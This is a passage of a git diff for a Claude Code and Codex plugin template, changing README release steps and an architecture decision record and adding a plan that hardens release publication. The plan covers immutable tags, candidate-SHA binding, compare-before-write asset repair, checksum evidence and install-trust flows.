it creates a tag. For strict pre-merge checks on the generated release PR, add a fine-grained token or GitHub App token as the `RELEASE_PLEASE_TOKEN` repository secret. Grant only repository contents, pull requests, and issues write access. +Release automation requires `RELEASE_PLEASE_TOKEN`; it does not fall back to `GITHUB_TOKEN`. GitHub suppresses workflow runs caused by `GITHUB_TOKEN`, which would leave the generated release PR without its required checks. The separate repository variable `RELEASE_PLEASE_AUTOMATION_LOGIN` records the exact login that owns the token; both the release-impact gate and publication admission bind that identity. ### Publish a release 1. Merge normal PRs with valid Conventional Commit titles. -2. Wait for the `Release` workflow to create or update the release PR. -3. Review its semantic version and generated `CHANGELOG.md`. -4. Merge the release PR when the batch is ready. -5. Wait for the `Release` workflow to validate metadata, prove the four-platform payload, reject generated drift, create `vX.Y.Z`, create the GitHub Release, and attach the deterministic archive plus provenance JSON. +2. Wait for the `Release` workflow's maintenance path to create or update the release PR. No tag or GitHub Release is created here. +3. Confirm the first release is `v0.1.0`; review the proposed semantic version, exact version projection, and generated `CHANGELOG.md`. +4. Merge the release PR into `main` with a merge commit. Do not squash it. +5. Wait for the workflow to admit exactly one merged release PR bound to `github.sha`: base `main`, configured Release Please automation identity, two parents, and only the allowed version projection. +6. Confirm the workflow persisted `publication-candidate-` before proof and checked out that candidate SHA. Publication embeds that admission record in the annotated immutable release tag, so repair remains possible after the workflow artifact expires. Later movement of `main` does not change the candidate. +7. Wait for metadata validation, four-platform proof, deterministic packaging, and generated-drift rejection. +8. Approve the protected `release` environment. The workflow creates `vX.Y.Z` explicitly at the candidate SHA, verifies the remote tag target, then creates the GitHub Release with `--verify-tag --target `. +9. Confirm the Release contains the deterministic archive and `*.checksums.json`. For a public repository, confirm the archive attestation. Do not hand-edit versions or `CHANGELOG.md`. Do not create the tag first. Do not publish to npm. -If the tag and GitHub Release exist but asset upload or attestation failed, run the `Release` workflow manually with `release_tag` set to the exact existing `vX.Y.Z` tag. The workflow checks out that tag, repeats the full proof, uploads the archive and provenance with `--clobber`, and recreates the public attestation. Leave the input empty during normal operation. +### Manually maintain or repair release state -The release configuration synchronizes: +Manual dispatch accepts two operation values. `maintenance` is the default; it only updates the standing release PR and never publishes. `repair` requires `release_tag` set to the exact existing `vX.Y.Z` tag. This repairs an incomplete publication; it does not create a new release. + +Run release-PR maintenance explicitly with: + +```sh +gh workflow run Release \ + --repo OWNER/REPOSITORY \ + --ref main \ + -f operation=maintenance +``` + +Start a compare-before-write repair with mismatched replacement disabled: + +```sh +gh workflow run Release \ + --repo OWNER/REPOSITORY \ + --ref main \ + -f operation=repair \ + -f release_tag=vX.Y.Z \ + -f replace_mismatched_assets=false +``` + +The workflow resolves the existing immutable annotated tag, recovers and validates its embedded publication admission, checks out its commit, validates any existing GitHub Release target, and repeats the complete proof. The admission does not depend on the 90-day workflow-artifact retention window. It compares each archive and checksums asset before writing: + +- Leave matching assets untouched. +- Add missing assets. +- Fail closed on a mismatched asset. +- Never move or recreate the tag at another commit. + +If a mismatched asset is confirmed as the incomplete publication defect, rerun the same exact tag with replacement enabled: + +```sh +gh workflow run Release \ + --repo OWNER/REPOSITORY \ + --ref main \ + -f operation=repair \ + -f release_tag=vX.Y.Z \ + -f replace_mismatched_assets=true +``` + +Required reviewers on the protected `release` environment authorize that same-tag replacement. The workflow uses `--clobber` only in this approved repair state. A missing public attestation is added after the archive matches. + +Before the first release, `.github/.release-please-manifest.json` stays empty. The maintenance job detects that bootstrap state and passes `release-as: 0.1.0` for that run only. Once the first release PR records the root package version, later maintenance runs leave `release-as` empty and return to Conventional Commit versioning. After that release, the release configuration synchronizes: - `package.json` - `plugin.config.json` @@ -262,7 +479,7 @@ For a public repository, verify the release archive attestation: gh attestation verify dist/PLUGIN_NAME-X.Y.Z.tar.gz --repo OWNER/REPOSITORY ``` -For a private user-owned repository, compare the SHA-256 value in the attached provenance JSON with the downloaded archive. +For a private user-owned repository, compare the downloaded archive with `archiveSha256` in the attached checksums JSON. This proves byte integrity against that file; it does not independently authenticate the publisher or builder. Release machinery is based on [Release Please](https://github.com/googleapis/release-please), with a human-reviewed standing PR like Every's compound-engineering workflow. This single-plugin template additionally generates a committed changelog, validates every version surface, pins Actions to full commit SHAs, proves the payload before tagging, and attaches the deterministic package. See the [reviewed versioned release ADR](docs/adr/0003-reviewed-versioned-releases.md) for the publication boundary. @@ -279,14 +496,22 @@ Release machinery is based on [Release Please](https://github.com/googleapis/rel ## Public and private canaries -After changes merge, run from a clean checkout of `origin/main`: +Public and private Git-repository canaries qualify publishing-system changes only. They are not required for every recipient plugin release. CI classifies the owned release, package, install-proof, readiness, and canary paths. For a manual qualification after merge, run from a clean checkout of the exact `origin/main` commit: ```sh -bun run ship:canary -- --dry-run -bun run ship:canary -- --execute +bun run ship:canary -- --dry-run --ref origin/main +bun run ship:canary -- --execute --ref origin/main ``` -The command verifies GitHub identity, target visibility and lineage, no tracked changes, and generated manifests. Execute mode creates missing public and private recipients without starter commits, performs fast-forward-only pushes, and waits for both hosted workflows. It never force-pushes or rewrites recipient history. +Unprivileged PR CI checks generated manifests with the candidate's own generator. The privileged canary driver executes only trusted base code. It accepts the exact same-repository PR head, binds the active `gh` login and real SSH or HTTPS Git transport identity to trusted canary targets, verifies visibility and the exact source SHA, and never executes candidate code. The private canary receives that source commit. The public canary receives a deterministic root commit containing only `plugin/`, the Claude and Codex marketplace files, and a trusted minimal hosted-proof workflow, so private repository source and history cannot become public. Each target uses `refs/heads/candidate/` and a create-only lease: the missing ref may be created or an identical concurrent winner accepted, but an existing ref cannot be replaced. Execute mode waits for hosted CI, then installs both native Claude and Codex clients through each proven Git remote and compares their caches with the exact published candidate. It never deletes, replaces, or reuses candidate history. + +These canaries prove this repository's Git publishing transport and native Git-marketplace installation path. They do not validate or claim OpenAI universal-directory ZIP acceptance, review, approval, or publication. + +## Distribution boundaries + +- **Implemented Git marketplace:** deterministic `tar.gz`, `*.checksums.json`, optional public GitHub attestation, pinned public/private Git sources, and public/private Git canaries. +- **Deferred OpenAI universal directory:** separate public ZIP, assets, publisher identity, portal submission, review, approval, and publication. Passing the generated directory-readiness text subset does not complete any of these steps. +- **Deferred Anthropic `claude-community`:** separate submission form, safety review, and catalog commit-SHA pinning. This repository does not submit or approve that catalog entry. ## Current boundaries @@ -295,4 +520,5 @@ The command verifies GitHub identity, target visibility and lineage, no tracked - A future dependency on `Bun.*`, `node:*`, native addons, or unsupported Web APIs requires a fresh runtime decision and compatibility proof. - Claude reloads a direct development plugin in the existing session. Codex needs a staged reinstall and fresh task. - Hook declarations stay physically separate. A shared default `hooks/hooks.json` previously caused cross-harness auto-discovery. +- Managed, workspace-installed, or non-removable plugins require administrator replacement or rollback. - Vendor plugin specifications change. Recheck the linked official documentation when manifests, hooks, trust, or reload behavior changes. diff --git a/docs/adr/0003-reviewed-versioned-releases.md b/docs/adr/0003-reviewed-versioned-releases.md index 2d8dd78..ca4566e 100644 --- a/docs/adr/0003-reviewed-versioned-releases.md +++ b/docs/adr/0003-reviewed-versioned-releases.md @@ -1,3 +1,45 @@ # Publish reviewed versioned releases -Normal pull requests may merge into `main` without publishing. Release Please maintains a human-reviewed release pull request; merging it establishes the semantic version and permits the proven commit to become a Git tag, GitHub Release, and deterministic Plugin Payload. npm and publish-on-every-merge were rejected because the Harness marketplaces already install from Git and maintainers need an explicit batching boundary. +Status: accepted. + +## Decision + +Normal pull requests may merge into `main` without publishing. Release Please maintains the human-reviewed release pull request with `skip-github-release: true`. It owns the semantic-version projection and changelog, but never creates a tag or GitHub Release. npm and publish-on-every-merge remain outside the design because native marketplaces install from Git and maintainers need an explicit batching boundary. + +The release workflow classifies each invocation into one state: + +- **Maintenance:** a normal push updates the standing release PR only. +- **Publication:** a push containing exactly one eligible merged release PR admits and publishes one candidate commit. +- **Repair:** manual dispatch repairs an incomplete publication from one exact existing immutable tag. + +Publication admits only a release PR based on `main`, opened by the configured Release Please automation identity, merged as a two-parent commit equal to `github.sha`, and containing exactly the allowed version projection. The workflow persists a candidate record before proof. Every later checkout, validation, package, tag, Release target, and checksum binding uses that candidate SHA even if `main` advances. + +After four-platform and deterministic-distribution proof, the workflow creates `vX.Y.Z` explicitly at the candidate SHA, verifies the remote tag resolves to that SHA, and creates the GitHub Release with tag verification and an explicit target. Release Please has no publication role. + +Packaging emits a deterministic `tar.gz` and `*.checksums.json`. The JSON binds `repository`, `sourceCommit`, `tag`, `plugin`, `version`, `archive`, `archiveBytes`, and `archiveSha256`, plus an evidence note. This is integrity evidence for the archive bytes. It is not independent publisher or builder authenticity. Public repositories may add GitHub artifact attestation; user-owned private repositories retain checksum evidence without that unsupported attestation path. + +## Repair contract + +Manual dispatch accepts `operation=maintenance` or `operation=repair`. Maintenance is the default and only updates the standing release PR. Repair requires `operation=repair` plus `release_tag` naming an existing `vX.Y.Z` tag. Repair begins from the immutable tag, repeats the complete proof, and validates any existing GitHub Release target. It compares each asset before writing: matching assets remain untouched, missing assets are added, and mismatches fail closed. A mismatched asset may be replaced only when `replace_mismatched_assets=true` is approved through the protected `release` environment. Repair never moves the tag and never represents a new release. + +## Human-owned safeguards + +A human configures an active `v*` tag ruleset that restricts deletion and updates with no bypass actors. A human also configures required `main` checks, merge-commit availability without linear-history enforcement, Actions permissions, required reviewers on the `release` environment, and the `hosted-canary-qualification` environment with its three required environment-secret names. Release automation receives narrow job permissions and never repository-administration authority. + +`bun run readiness` reads GitHub and local workflow state without mutation. It fails closed unless the default branch is `main`, merge commits are enabled, classic protection and effective rulesets permit non-linear history, all release-path checks protect `main`, Actions is enabled, the immutable tag ruleset is active, the hosted-canary environment and required secret names exist, and no workflow grants repository administration. Secret values are never read. Automation is enabled only while these safeguards remain ready. + +Installable payload changes require a releasable Conventional Commit PR title: `feat`, `fix`, `perf`, or a breaking `!` title. Documentation-, test-, and CI-only changes are exempt. The pure Release Please version projection is exempt because it changes release identity without changing installable behavior. + +## Native replacement contract + +Both clients replace a pinned Git marketplace only after detached preflight proves the source, ref, resolved commit, credentials, manifest version, marketplace policy, and payload. Target and restoration refs are proved before destructive work. Managed, workspace-installed, or non-removable state routes to an administrator. + +Claude Code preserves one `user`, `project`, or `local` scope through uninstall, marketplace removal, pinned add, install, explicit enablement, and verification. Uninstall uses `--keep-data`. Failure restores the prior scoped declaration and install without deleting persistent data. The host-selected active cache, not an orphan directory, is compared with the detached payload. Generated Claude entries set `defaultEnabled: false`; clients older than 2.1.154 ignore that setting. Private SSH requires accepted host keys and an agent-loaded key. Private HTTPS requires a credential helper; an environment token alone is insufficient. Background and manual refreshes use that durable Git credential path. Automatic update remains user or team policy. + +Codex preserves marketplace source, pinned ref, and prior enabled state. It does not inherit Claude scopes or Claude default-disabled behavior. JSON output records marketplace roots, installed paths, versions, and enabled state before and after removal and add. Replacement stops before removal if the prior cache cannot be restored. The first fresh task keeps hooks skipped while untrusted; `/hooks` review accepts only the exact installed definition and executable closure. Enablement and hook trust remain separate states. A second fresh task proves post-review behavior and bytes. `codex plugin marketplace upgrade` is the explicit refresh operation; automatic refresh is unspecified. Supported surfaces are Codex CLI and Codex in the ChatGPT desktop app, not the IDE extension, Chat, mobile, or an unspecified universal host. + +## Qualification and distribution boundaries + +Public and private Git-repository canaries qualify publishing-system changes, not every recipient release. They bind both GitHub API identity and real Git transport identity. The private canary publishes the exact source commit; the public canary publishes a deterministic root commit containing only the installable plugin, marketplace metadata, and a trusted minimal hosted-proof workflow. Each published commit receives its own `refs/heads/candidate/`. Hosted proof and native cache comparison bind to those exact commits. Candidate refs are never moved, force-pushed, deleted, or reused for another commit. + +This repository implements Git-marketplace distribution: deterministic tarball, checksums, optional public attestation, pinned public/private Git installation, and Git canaries. OpenAI universal-directory submission remains separate work requiring a public ZIP, assets, publisher identity, portal submission, review, approval, and publication. Passing the directory-readiness text subset does not complete that work. Anthropic `claude-community` submission also remains separate work requiring its form, safety review, and catalog commit-SHA pinning. Git canary success makes no claim about either deferred catalog path. diff --git a/docs/plans/2026-08-05-001-fix-plugin-publishing-hardening-plan.md b/docs/plans/2026-08-05-001-fix-plugin-publishing-hardening-plan.md new file mode 100644 index 0000000..8ab2184 --- /dev/null +++ b/docs/plans/2026-08-05-001-fix-plugin-publishing-hardening-plan.md @@ -0,0 +1,471 @@ +--- +title: Plugin Publishing Hardening - Plan +type: fix +date: 2026-08-05 +artifact_contract: ce-unified-plan/v1 +artifact_readiness: implementation-ready +product_contract_source: ce-plan-bootstrap +execution: code +--- + +# Plugin Publishing Hardening - Plan + +## Goal Capsule + +- **Objective:** Make each Claude Code and Codex Git-marketplace release traceable to one reviewed commit, one immutable semantic version, and one mechanically identical plugin payload. +- **Authority:** Official Claude Code plugin documentation, official Codex plugin documentation, this plan's settled decisions, then repository conventions. +- **Execution profile:** Harden the existing release, initialization, packaging, canary, and contributor checks without changing the shared plugin runtime contract. +- **Stop conditions:** Stop before publication when the candidate SHA, tag SHA, payload, manifest version, PR release classification, or repository safeguards cannot be proven. +- **Tail ownership:** The release workflow owns publication. A human owns repository tag rules and repair authorization. + +--- + +## Product Contract + +### Summary + +Harden the repository template so recipients start from a clean `0.1.0` release lineage and publish the same reviewed payload to Claude Code and Codex under one immutable `vX.Y.Z` tag. Keep automatic marketplace updates under user or team control and keep OpenAI universal-directory submission outside this Git-release path. + +### Problem Frame + +The current workflow proves the triggering commit, then lets Release Please inspect live `main`. If `main` advances, the created tag can identify different source than the uploaded archive. Initialization also inherits template release state, packaging does not reject symlinks, repair does not bind the tag to the manifest version, and the install guidance crosses the trust boundary after installation. + +The two harnesses consume one `plugin/` subtree but apply different marketplace, cache, hook-trust, and refresh behavior. The release contract must preserve those native differences while proving one version and one payload. + +### Requirements + +#### Release identity and publication + +- R1. A release candidate SHA, immutable tag SHA, packaged SHA, and GitHub Release target must be identical before assets are published. +- R2. Normal commits may maintain a Release Please PR, but only a merged release PR may enter the proof, tag, and publication path. +- R3. One semantic version and one `vX.Y.Z` tag must identify both native manifests, Claude's version-bearing marketplace projection, the portable runtime marker, the generated Codex hook definition, and the release assets. The Codex marketplace must remain an identity, source, policy, and category projection with no invented version field; its configured ref and resolved SHA bind it to the release. +- R4. A failed post-tag publication must keep the proven tag and permit only same-tag asset or attestation repair, with compare-before-write behavior and explicit human authority for any mismatched asset replacement. +- R5. A manual repair must reject a missing tag, a tag that does not match the checkout SHA, a tag that differs from `v`, or a GitHub Release that targets another SHA. +- R6. A payload-changing pull request must use a releasable Conventional Commit type: `feat`, `fix`, `perf`, or a breaking form. +- R7. Documentation, tests, CI-only changes, and Release Please's version-only PR are exempt from R6 when they do not alter installable payload behavior. +- R30. Publication-candidate admission must identify exactly one merged Release Please pull request, bind its base branch and merge commit to `github.sha`, validate the expected automation identity and allowed projection, and fail closed on zero, multiple, or differently rebound candidates while permitting idempotent reuse of the exact same candidate record. + +#### Payload integrity and evidence + +- R8. The GitHub Release archive must contain exactly the regular files and bytes under the tagged `plugin/` subtree, under one deterministic top-level directory. +- R9. Generation, staging, packaging, and distribution proof must reject symlinks, special files, and realpath escapes before copying payload content. +- R10. Private releases must attach `*.checksums.json` containing repository, source commit, immutable tag, plugin version, archive name, archive size, and SHA-256. +- R11. Private checksum metadata must be described as integrity evidence, not independent publisher or builder authenticity. + +#### Recipient initialization and repository readiness + +- R12. Initializing a recipient must reset all release surfaces to `0.1.0`, clear the Release Please manifest and changelog, and replace the release component name with the recipient plugin identity. +- R13. Repository setup must verify a human-owned immutable `v*` tag ruleset when the GitHub API permits and otherwise fail closed with a precise repair instruction. +- R14. Release automation must not receive repository-administration authority. + +#### Harness install, update, and trust + +- R15. Production installation, upgrade, and rollback must pin a chosen immutable tag and complete non-mutating source, ref, SHA, credential, policy, and payload preflight before altering the current install. Preserve each host's native state: Claude marketplace and plugin scopes; Codex marketplace identity, source, ref, and plugin `enabled` state. +- R16. The documented flow must inspect a detached copy of the exact tag or SHA, manifests, hooks, binaries, and payload before marketplace admission; inspect the host's pinned marketplace snapshot and installed cache again before the first active session. Codex hook trust and plugin enablement remain separate states. +- R17. Codex hook guidance must reflect that bundled hooks stay untrusted until the user accepts the current definition; Claude guidance must preserve its native trust behavior. +- R18. Codex and Claude must report the same plugin version after a hermetic install, upgrade, or rollback proof, while the proof independently resolves and verifies the pinned Git snapshot SHA against the installed bytes. +- R19. Production documentation must not introduce a moving release channel. Claude automatic updates remain a user or team setting. Codex documents an explicit `marketplace upgrade` CLI operation, but automatic refresh behavior is unspecified; immutable refs must resolve to the same snapshot under either behavior. +- R25. Any Codex release that changes the executable closure of a hook command must change the trusted hook definition so the new closure requires review. The hook definition is a generated, version-bearing release projection and must change through a supported handler field. +- R33. Codex install proof must consume `marketplace add/list --json` and `plugin add/list --json`, record the configured marketplace source and ref, installed marketplace root, plugin version, installed path, enabled state, install policy, and authentication policy, then compare the installed path with the independently resolved tagged inventory. +- R34. Codex replacement must preflight both target and restoration refs under current credentials and managed requirements, capture prior JSON state, and restore the previous marketplace ref and enabled state after failure. If documented operations cannot restore a deleted cache, the workflow must block before destructive mutation rather than claim transactionality. +- R35. Codex local-marketplace proof must treat the cache version as the documented literal `local`, prove repeated installation changes installed bytes through the reported `installedPath`, and never claim that manifest build metadata is the local cache key. +- R37. Codex operator guidance must name the documented plugin surfaces: Codex CLI and Codex in the ChatGPT desktop app. It must not claim plugin availability in the IDE extension, Chat, mobile, or an unspecified Codex host. + +#### Claude lifecycle safety + +- R26. Claude replacement must preserve `${CLAUDE_PLUGIN_DATA}` with `--keep-data` and restore the previous scoped marketplace and plugin declaration when any post-mutation step fails. +- R27. Claude proof must identify the active installed cache from host state and ignore orphaned version directories retained during Claude Code's 14-day cache grace period. +- R28. Claude private-repository guidance and proof must distinguish SSH agent and known-hosts admission, HTTPS credential-helper admission, token-only failure, background refresh behavior, keep-on-failure retention, and credentialed manual update fallback. +- R29. The generated Claude manifest and marketplace entry must both set `defaultEnabled: false`; installation remains disabled until explicit post-inspection enablement. The compatibility contract must require Claude Code 2.1.154 or later for this safety property and warn that earlier clients ignore it. + +#### Canary qualification + +- R20. Every release must block on hermetic local Claude and Codex install/cache proof of the tagged payload. +- R21. Hosted public-Git-repository and private-Git-repository canaries must qualify changes to the publishing system, but they must not run for every recipient release or claim universal-directory coverage. +- R22. Canary authorization must prove the Git transport identity used to push, not only the active GitHub CLI account. + +#### Native manifest validity + +- R23. Canonical metadata validation must enforce every generated Codex package field used by this template, including standards-compliant semantic versioning, field length, one-line, non-empty, uniqueness, and supported-character rules. +- R24. Manifest contract tests must consume the canonical validator rather than reproduce a weaker semantic-version or metadata check. +- R31. The generated Claude plugin must carry the canonical explicit semantic version and pass `claude plugin validate --strict`; its marketplace projection must resolve the same plugin identity, version, and pinned source used by hermetic install proof. +- R32. Canonical URL validation must structurally require HTTPS, a host, no embedded credentials, and no unsupported characters before any generated file is written. +- R36. Codex validation must name two boundaries: the required local/repo Git-marketplace package contract and the stricter directory-readiness metadata subset. Passing the latter must never claim that the deferred ZIP, assets, identity, portal, review, approval, or publication work is complete. + +### Acceptance Examples + +- AE1. **First recipient release:** Given a template that has already published releases, when a recipient initializes it, then every version surface is `0.1.0`, the release manifest and changelog are empty, and the release component uses the recipient name. +- AE2. **Main advances during maintenance:** Given commit A started a maintenance run and `main` advances to B, when Release Please inspects `main`, then no artifact proven from A can be attached to a tag for B. +- AE3. **Release PR merge:** Given the release PR merge commit passes the full matrix and payload proof, when publication runs, then the created tag, release target, archive, checksum record, and manifests all identify that commit and version. +- AE4. **Repair mismatch:** Given `release_tag=v0.2.0` points to a commit whose manifest says `0.1.0`, when repair starts, then it fails before packaging or asset mutation. +- AE5. **Payload escape:** Given `plugin/` contains a symlink or special file, when generation, development staging, package, or proof runs, then it fails and names the unsafe entry. +- AE6. **Scoped rollback:** Given a project-scoped install at `v0.3.0`, when the operator selects `v0.2.0`, then detached preflight succeeds, persistent data is retained, the marketplace is removed and re-added in project scope, the plugin is reinstalled disabled in project scope, explicit enablement follows snapshot review, and the reported version is `0.2.0`. +- AE7. **Non-releasable payload PR:** Given a `docs:` pull request changes `plugin/`, when PR checks run, then the release-impact gate fails with the accepted releasable title types. +- AE8. **Codex trust boundary:** Given an installed Codex plugin has an untrusted hook definition, when a new task starts, then the hook remains skipped until the user accepts that exact definition. +- AE9. **Codex rollback preflight:** Given the active Codex plugin uses `v0.3.0` and `v0.2.0` is denied by current requirements or cannot be fetched, when rollback is requested, then the active marketplace, cache, and enabled state remain unchanged. +- AE10. **Codex executable closure:** Given a new release changes only a bundled launcher, runtime, or native binary, when generation runs, then the supported hook command field carries the new canonical version and the previous exact-definition trust record cannot authorize it. + +### Success Criteria + +- The repository cannot publish assets whose source differs from the release tag. +- Fresh recipient repositories always bootstrap at `v0.1.0` regardless of template release history. +- The installed Claude and Codex payloads compare byte-for-byte with the tagged `plugin/` subtree. +- Contributors receive a deterministic PR failure when installable payload changes lack a releasable title. +- Repair, upgrade, rollback, and trust-review instructions are executable without losing native host state or relying on a moving tag. + +### Scope Boundaries + +- Keep Git-backed Claude and Codex marketplaces as the production repo, team, and private distribution path. +- Keep the GitHub Release archive as verified mirror and recovery evidence, not a second canonical payload. +- Keep one shared plugin payload with native manifests and native hook files. +- Keep user and workspace automatic-update policy outside repository control. + +#### Deferred to Follow-Up Work + +- Build and submit the separate ZIP and portal materials required for OpenAI's universal public Plugins Directory. That follow-up owns ZIP root, member, size, and normalization limits; logo and composer assets; verified publisher identity; Apps Management write access; five positive and three negative review cases; scans; review; approval; and the separate portal publish action. The Git-marketplace tarball and public-Git canary do not claim to satisfy that path. +- Submit to Anthropic's `claude-community` marketplace. That separate path requires `claude plugin validate`, Anthropic's submission form and safety review, and catalog SHA pinning; self-hosted Git marketplace releases do not imply community publication. +- Add signed private provenance when a supported private-repository signing route exists. Until then, publish checksum metadata only. + +### Assumptions + +- GitHub ruleset read APIs are available to the repository setup verifier for normal GitHub-hosted recipients; unavailable or unauthorized responses block readiness rather than weakening the tag policy. +- Release Please's release PR can be identified from its manifest output and merge commit without granting the release workflow administrator permissions. +- Hermetic Codex install proof may use the current CLI marketplace browser or commands, but it must verify the resulting cached copy under the documented versioned cache model. + +--- + +## Planning Contract + +### Key Technical Decisions + +- KTD1. **Separate maintenance from publication.** Run Release Please maintenance on ordinary `main` commits. Run proof and publication from the release PR merge SHA only. (session-settled: user-directed — chosen over proving one commit while Release Please tags live `main`: the race can attach the wrong payload to a release) Governs R1-R5. +- KTD2. **Treat the immutable Git tag as the published product.** Install both harnesses from the tag. Treat the release archive as a mechanically equivalent mirror. (session-settled: user-directed — chosen over treating the archive as a separate canonical product: both harnesses install the Git payload) Governs R1, R3, R8. +- KTD3. **Protect tags outside the workflow and verify them inside it.** A human creates the `v*` tag ruleset. Setup and release checks fail closed when immutability or SHA binding is unproven. (session-settled: user-directed — chosen over giving the workflow repository-admin authority: publication must not be able to weaken its own safeguards) Governs R1, R13-R14. +- KTD4. **Reset recipient release lineage during initialization.** Write `0.1.0` across all version surfaces, empty the release manifest and changelog, and rename the release component. (session-settled: user-directed — chosen over inheriting template release history: a recipient's first release must remain `v0.1.0`) Governs R12. +- KTD5. **Use one strict payload walker.** Make generation, staging, packaging, and proof share a regular-file-only inventory that resolves every path inside `plugin/`. (session-settled: user-directed — chosen over prose-only payload isolation: future symlinks can cross the install boundary) Governs R8-R9. +- KTD6. **Classify payload impact at pull-request time.** Compare the pull request base and head, exempt Release Please's version-only projection, and require a releasable title for any other installable payload change. (session-settled: user-directed — chosen over releasing every maintenance change or trusting title convention alone: payload changes need a mechanical release signal) Governs R6-R7. +- KTD7. **Inspect before marketplace admission and preserve native state through replacement.** Document detached preflight, pinned re-add, host-snapshot inspection, installation, native activation and trust state, and version verification. Preserve Claude scopes and data through its native flow; preserve Codex source/ref and `enabled` state through its separate flow. (session-settled: user-directed — chosen over install-then-review and state-defaulting commands: hooks and cache contents cross a trust boundary) Governs R15-R19. +- KTD8. **Split hermetic release proof from hosted canary qualification.** Block every release on local install/cache proof. Require public and private hosted canaries only when publishing-system paths change. (session-settled: user-directed — chosen over running hosted canaries for every recipient release: canaries qualify the template machinery, while hermetic proof protects each release) Governs R20-R22. +- KTD9. **Name checksum evidence accurately.** Replace `provenance` with `checksums` and bind it to repository, tag, commit, version, filename, size, and digest. (session-settled: user-directed — chosen over calling unsigned same-workflow metadata provenance: it proves integrity but not independent authenticity) Governs R10-R11. +- KTD10. **Keep production channels pinned.** Do not create a moving stable tag or repository-controlled automatic-update setting. (session-settled: user-directed — chosen over silently moving users to new releases: update cadence belongs to the user or workspace) Governs R15, R19. +- KTD11. **Use immutable per-candidate refs for hosted qualification.** Push the publishing-system pull request SHA to the private canary. Push a deterministic installable-only root commit with a trusted minimal proof workflow to the public canary so private repository source and history cannot leak. Give each published commit its own candidate ref. Never advance one shared canary branch to qualify unmerged work. Governs R21-R22. +- KTD12. **Own native manifest validation in canonical metadata code.** Validate the local/repo package contract once in `scripts/plugin-config.ts`, label the optional directory-readiness text limits separately, run the Claude strict validator against rendered output, and make tests exercise those owners rather than copying weaker checks. Governs R23-R24, R31-R32, R36. +- KTD13. **Bind Codex hook trust to the released executable closure.** Generate each Codex hook command with `--plugin-version ` and make the launcher validate that argument. Own the hook file in initialization, generation drift, Release Please projection, candidate admission, and release validation so every released executable closure produces a new exact-definition hash. Governs R3, R17, R25. +- KTD14. **Compare before release repair.** Add missing assets, leave matching assets untouched, and stop on mismatched existing bytes unless a human uses the explicit protected replacement path for the same immutable tag. Governs R4-R5, R10-R11. +- KTD15. **Make Claude replacement transactional and data-preserving.** Preflight the detached source and exact managed-policy admission; capture scopes and current state; uninstall with `--keep-data`; remove and re-add the marketplace in its original scope; inspect, install, and enable in the original plugin scope; restore the prior declaration and install after any post-mutation failure. Governs R15-R16, R26-R28. +- KTD16. **Ship Claude plugins disabled by default.** Use `defaultEnabled: false` as defense in depth after source inspection, never as a substitute for trust-before-install, and enforce or warn on the Claude Code 2.1.154 compatibility boundary. Governs R16-R17, R29. +- KTD17. **Represent publication admission as a unique candidate record.** Bind repository, base branch, pull-request number, automation identity, merge commit, version, expected tag, and allowed projection before proof; reject ambiguous records or rebinding while allowing an exact record to resume its existing state machine. Governs R1-R5, R30. +- KTD18. **Model Codex replacement with Codex state.** Capture marketplace identity/source/ref and plugin version/path/enabled/policy from JSON, preflight target and restoration refs, mutate through remove/re-add/install, and restore the prior pinned state after injected failure. Never project Claude scopes or default-disabled installation onto Codex. Governs R15-R16, R33-R35. +- KTD19. **Take Codex evidence from native JSON surfaces.** Resolve the configured marketplace root and installed plugin path from documented command output, then verify Git identity and bytes at those paths. Do not discover the active state by guessing cache directories. Governs R18, R20, R33, R35. + +### High-Level Technical Design + +#### Release lifecycle + +```mermaid +stateDiagram-v2 + [*] --> Maintenance + Maintenance --> ReleasePR: releasable commits + ReleasePR --> Candidate: reviewed merge + Candidate --> Proven: matrix plus install/cache proof + Proven --> Tagged: immutable vX.Y.Z at candidate SHA + Tagged --> Published: matching release and assets + Tagged --> Incomplete: asset or attestation failure + Incomplete --> Published: same-tag repair +``` + +#### Identity chain + +```mermaid +flowchart TB + M["Release PR merge SHA"] --> T["Immutable tag SHA"] + T --> P["Tagged plugin payload"] + P --> A["Deterministic archive"] + P --> C["Claude installed cache"] + P --> X["Codex installed cache"] + A --> E["Attestation or checksums"] + C --> V["One semantic version"] + X --> V +``` + +#### Qualification gates + +```mermaid +flowchart TB + PR["Pull request"] --> D{"Installable payload changed?"} + D -->|yes| R{"Releasable title?"} + R -->|no| F["Fail release-impact gate"] + R -->|yes| P["Run payload proof"] + D -->|no| P + P --> S{"Publishing-system changed?"} + S -->|yes| H["Run hosted public and private Git-repository canaries"] + S -->|no| G["Normal CI complete"] + H --> G +``` + +### Sequencing + +1. Establish reusable payload, native-metadata, release-identity, and recipient-bootstrap contracts. +2. Bind workflow states and repair behavior to those contracts. +3. Add PR impact and repository-readiness gates. +4. Add hermetic harness proof and conditional hosted canaries. +5. Rewrite operator documentation from the proven commands and states. + +### Sources and Research + +- Current release and recovery behavior: `.github/workflows/release.yml`, `scripts/release-validate.ts`, and `docs/adr/0003-reviewed-versioned-releases.md`. +- Current payload and installation boundaries: `scripts/plugin-files.ts`, `scripts/package.ts`, `scripts/prove-distribution.ts`, `scripts/prove-dx.ts`, and `README.md`. +- Official Codex package and marketplace contract: [Package your plugin](https://developers.openai.com/plugins/build/plugins). +- Official Codex install and trust behavior: [Plugins](https://learn.chatgpt.com/docs/plugins). +- Official Codex CLI marketplace, plugin, and JSON evidence surfaces: [CLI command reference](https://learn.chatgpt.com/docs/developer-commands?surface=cli). +- Official Codex exact-definition hook trust behavior: [Hooks](https://learn.chatgpt.com/docs/hooks). +- Official Codex public-directory validation rules: [Plugin submission errors](https://developers.openai.com/plugins/deploy/submission-errors). +- Official Codex public review and publishing path: [Submit plugins](https://developers.openai.com/plugins/deploy/submission). +- Official Claude marketplace, version, cache, and private-repository behavior: [Plugin marketplaces](https://code.claude.com/docs/en/plugin-marketplaces) and [Plugins reference](https://code.claude.com/docs/en/plugins-reference). +- Official Claude installation, security, scope, and auto-update behavior: [Discover and install plugins](https://code.claude.com/docs/en/discover-plugins). +- Official Claude self-hosted and community-publication boundary: [Create plugins](https://code.claude.com/docs/en/plugins#submit-your-plugin-to-the-community-marketplace). + +--- + +## Implementation Units + +### U1. Reset recipient release lineage + +- **Goal:** Make initialization create a new recipient release history instead of copying the template's history. +- **Requirements:** R3, R12; Covers AE1; KTD4. +- **Dependencies:** None. +- **Files:** `scripts/init.ts`, `scripts/init.test.ts`, `scripts/plugin-config.ts`, `.github/release-please-config.json`, `.github/.release-please-manifest.json`, `CHANGELOG.md`, `package.json`, `plugin.config.json`, `.claude-plugin/marketplace.json`, 